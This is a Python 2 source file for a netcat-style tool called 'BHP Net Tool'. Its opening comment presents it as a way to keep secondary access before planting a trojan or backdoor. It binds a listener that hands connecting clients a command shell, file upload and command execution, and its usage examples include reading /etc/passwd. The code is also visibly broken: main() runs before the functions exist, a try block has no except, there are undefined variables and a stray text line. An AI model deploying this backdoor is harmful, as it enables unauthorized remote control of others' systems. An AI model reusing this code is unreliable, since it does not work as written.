bhpnet.py

#Some administrators will remove netcat from system. Implementing this script can allow for a Python callback
#as secondary access before attempting to insert a trojan or other backdoor

import sys
import socket
import getopt
import threading
import subprocess


# define some global variables
listen             = False
command            = False
upload             = False
execute            = ""
target             = ""
upload_destination = ""
port               = 0


def usage():
    print "BHP Net Tool"
    print
    print "Usage: bhpnet.py -t target_host -p port"
    print "-l --listen              - listen on [host]:[port] for incoming connections"
    print "-e --execute=file_to_run - execute the given file upon receiving a connection"
    print "-c --command             - initialize a command shell"
    print "-u --upload=destination  - upon receiving connection upload a file and write to [destination]"
    print
    print
    print "Examples: "
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe"
    print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\ "cat /etc/passwd\ ""
    print "echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135"
    sys.exit(0)


def main():
        global listen
        global port
        global execute
        global command
        global upload_destination
        global target

        if not len(sys.argv[1:]):
                usage()

        # read the commandline options
        try:
                opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu",["help","listen","execute","target",
                                                                       "port","command","upload"])
        except getopt.GetoptError as err:
                print str (err)
                usage ()


        for o,a in opts:
                if o in ("-h","--help"):
                        usage()
                elif o in ("-l","--listen"):
                        listen = True
                elif o in ("-e", "--execute"):
                        execute = a
                elif o in ("-c", "--commandshell"):
                        command = True
                elif o in ("-u", "--upload"):
                        upload_destination = a
                elif o in ("-t", "--target"):
                        target = a
                elif o in ("-p", "--port"):
                        port = int(a)
                else:
                        assert False,"Unhandled Option"


        # are we going to listen or just send data from stdin?
        if not listen and len(target) and port > 0:

            # read in the buffer from the commandline
            # this will block, so send CTRL-D if not sending imput
            # to stdin
            buffer = sys.stdin.read()

            # send data off
            client_sender(buffer)

        # we are going to listen and potentially
        # upload things, execute commands, and drop a shell back
        # depending on our command line options above
        if listen:
                server_loop()

main()


def client_sender(buffer):
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        try:
                # connect to our target host
                client.connect((target,port))

                if len(buffer):
                        client_sender(buffer)
                while True:

                    # now wait for data back
                    recv_len = 1
                    response = ""

                    while recv_len:
                            data     = client.recv(4096)
                            recv_len = len(data)
                            response+= data

                            if recv_len < 4096:
                                    break

                    print response,

                    # wait for more input
                    buffer = raw_input("")
                    buffer += "\n"

                    # send it off
                    client.send(buffer)


        except:

                print "[*] Exception! Exiting."

                # tear down the connection
                client.close()


def server_loop():
        global target

        # if no target is defined, we listen on all interfaces
        if not len (target):
                target = "0.0.0.0"


        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind((target,port))
        server.listen(5)

        while True:
                client_socket, addr = server.accept()

                # spin off a thread to handle our new client
                client_thread = threading.Thread(target=client_handler,args=(client_socket,))
                client_thread.start()



def run_command(command):

        # trim the newline
        command = command.rstrip()

        # run the command and get the output back
        try:

                output = subprocess.check_output(command,stderr=subprocess.STDOUT, shell=True)
        except:
                output = "Failed to execute command. \r\n"

        # send the output back to the client return output


def client_handler(client_socket):
        global upload
        global execute
        global command

        # check for upload
        if len(upload_destination):

                # read in all of the bytes and write to our destination
                file_buffer = ""

                # keep reading data until none is available
                while True:
                        data = client_socket.recv(1024)

                        if not data:
                                break
                        else:
                                file_buffer += data

        # now we take these bytes and try to write them out
        try:
                file_descriptor = open(upload_destination, "wb")
                file_descriptor.write(file_buffer)
                file_descriptor.close()

                # acknowledge that we wrote the file out
                client_socket.send("Successfully saved file to %s\r\n" % upload_destination)



        # now we go into another loop if a command shell was requested
        if command:

                while True:
                    # show a simple prompt
                    client_socket.send("<BHP: #> ")

                         # now we receive until we see a linefeed
                        (enter key)
                    cmd_buffer = ""
                    while "\n" not in cmd_buffer:
                            cmd_buffer += client_socket.recv(1024)



                    # send back the command output
                    response = run_command(command_buffer)

                    # send back the response
                    client_socket.send(response)